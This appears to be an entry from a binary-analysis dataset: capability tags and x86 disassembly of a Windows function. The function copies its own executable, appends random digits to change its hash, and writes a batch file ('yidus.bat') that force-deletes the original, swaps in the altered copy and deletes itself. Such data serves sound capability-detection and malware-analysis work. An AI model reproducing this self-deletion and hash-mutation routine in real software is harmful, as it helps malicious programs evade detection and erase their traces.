Function at 0x40ac20
Capabilities:
Copy file
Create process on windows
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x413540
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0x18]
mov dword [esp + 0x38], 0
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 1
call sub.MFC42.DLL_CString::CString_4
mov ebx, 2
push 0x104
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], bl
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0x10]
push eax
lea eax, [esp + 0x20]
push eax
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x3c], 3
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0x1c]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Mid_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x3c], 4
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
mov edi, dword [esp + 0x14]
push 0x104
push 0x104
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
call edi
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ebp, dword [esi + 0xec]
add esi, 0xec
push 0x104
push 0x104
mov ecx, esi
call sub.MFC42.DLL_CString::GetBuffer
push eax
push ebp
call edi
push 0xffffffffffffffff
mov ecx, esi
call sub.MFC42.DLL_CString::ReleaseBuffer
push esi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::operator_1
lea edx, [esp + 0x18]
push str.yidus.tmp
lea eax, [esp + 0x24]
push edx
push eax
call sub.MFC42.DLL_operator_1
mov esi, dword [eax]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x44], 5
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
push str.yidus.tmp
lea edx, [esp + 0x24]
push ecx
push edx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0x418e3c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
lea ecx, [esp + 0x20]
mov esi, eax
call sub.MFC42.DLL_CString::CString
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
mov ebp, dword [sym.imp.MSVCRT.dll_fclose]
test esi, esi
je 0x40ae68
push ebx
push 0xfffffffffffffff0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_4
mov byte [esp + 0x38], 6
call dword [sym.imp.MSVCRT.dll_rand]
push eax
call dword [sym.imp.MSVCRT.dll_rand]
push eax
call dword [sym.imp.MSVCRT.dll_rand]
push eax
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea eax, [esp + 0x2c]
push str._d_d_d_d
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x34]
push esi
push ecx
call edi
push esi
call ebp
add esp, 0x24
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x18]
push str.yidus.bat
lea eax, [esp + 0x24]
push edx
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0x418e20
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
lea ecx, [esp + 0x20]
mov esi, eax
call sub.MFC42.DLL_CString::CString
test esi, esi
je 0x40b04d
push esi
push str._echo_off_n
call edi
push esi
push str.ping__n_1_127.0.0.1_nul_n
call edi
add esp, 0x10
lea ecx, [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push str.del__f__q
push edx
call sub.MFC42.DLL_operator_2
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push eax
push edx
mov byte [esp + 0x44], 7
call sub.MFC42.DLL_operator
push 0x418de8
push eax
lea eax, [esp + 0x28]
mov byte [esp + 0x40], 8
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push esi
push eax
call edi
add esp, 8
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
lea edx, [esp + 0x2c]
push ecx
push str.copy
push edx
call sub.MFC42.DLL_operator_2
push 0x418dd4
push eax
lea eax, [esp + 0x30]
mov byte [esp + 0x40], 9
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
push eax
push edx
mov byte [esp + 0x44], 0xa
call sub.MFC42.DLL_operator
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push eax
push edx
mov byte [esp + 0x44], 0xb
call sub.MFC42.DLL_operator
push 0x418de8
push eax
lea eax, [esp + 0x2c]
mov byte [esp + 0x40], 0xc
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push esi
push eax
call edi
add esp, 8
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x38], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x38], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
lea edx, [esp + 0x28]
push ecx
push str.del__f__q
push edx
call sub.MFC42.DLL_operator_2
push str.yidus.tmp_n
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0x40], 0xd
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push esi
push eax
call edi
add esp, 8
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString
push esi
push str.del__0
call edi
push esi
call ebp
add esp, 0xc
lea ecx, [esp + 0x18]
lea edx, [esp + 0x2c]
push str.yidus.bat
push ecx
push edx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
pop ebx
nop
nop
nop
nop
nop
nop
nop